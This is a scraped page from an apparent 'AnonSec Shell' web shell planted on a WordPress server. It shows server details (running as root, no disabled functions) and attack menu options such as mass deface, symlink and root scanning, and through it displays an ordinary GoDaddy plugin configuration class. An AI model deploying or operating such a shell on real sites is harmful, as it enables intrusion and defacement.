AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.222.162.212   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/godaddy/mwc-core/src/Configuration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/godaddy/mwc-core/src/Configuration/FeatureRuntimeConfiguration.php
<?php

namespace GoDaddy\WordPress\MWC\Core\Configuration;

use GoDaddy\WordPress\MWC\Common\Configuration\Configuration;
use GoDaddy\WordPress\MWC\Common\Helpers\TypeHelper;
use GoDaddy\WordPress\MWC\Core\Configuration\Contracts\FeatureRuntimeConfigurationContract;
use GoDaddy\WordPress\MWC\Core\Features\Categories;

class FeatureRuntimeConfiguration implements FeatureRuntimeConfigurationContract
{
    /** @var string Feature's unique name identifier */
    protected string $featureName;

    /**
     * {@inheritDoc}
     */
    public function setFeatureName(string $value)
    {
        $this->featureName = $value;

        return $this;
    }

    /**
     * {@inheritDoc}
     */
    public function getName() : string
    {
        return TypeHelper::string($this->getConfigurationValue('name'), '');
    }

    /**
     * {@inheritDoc}
     */
    public function getDescription() : string
    {
        return TypeHelper::string($this->getConfigurationValue('description'), '');
    }

    /**
     * {@inheritDoc}
     */
    public function getDocumentationUrl() : string
    {
        return TypeHelper::string($this->getConfigurationValue('documentation_url'), '');
    }

    /**
     * {@inheritDoc}
     */
    public function getSettingsUrl() : string
    {
        return TypeHelper::string($this->getConfigurationValue('settings_url'), '');
    }

    /**
     * {@inheritDoc}
     */
    public function getCategories() : array
    {
        /** @var array<Categories::*> $categories */
        $categories = $this->getConfigurationValue('categories');

        return $categories;
    }

    /**
     * Gets a configuration property value for the current feature.
     *
     * @param string $property
     * @return mixed
     */
    protected function getConfigurationValue(string $property)
    {
        return Configuration::get("features.{$this->featureName}.{$property}");
    }
}

Anon7 - 2022
AnonSec Team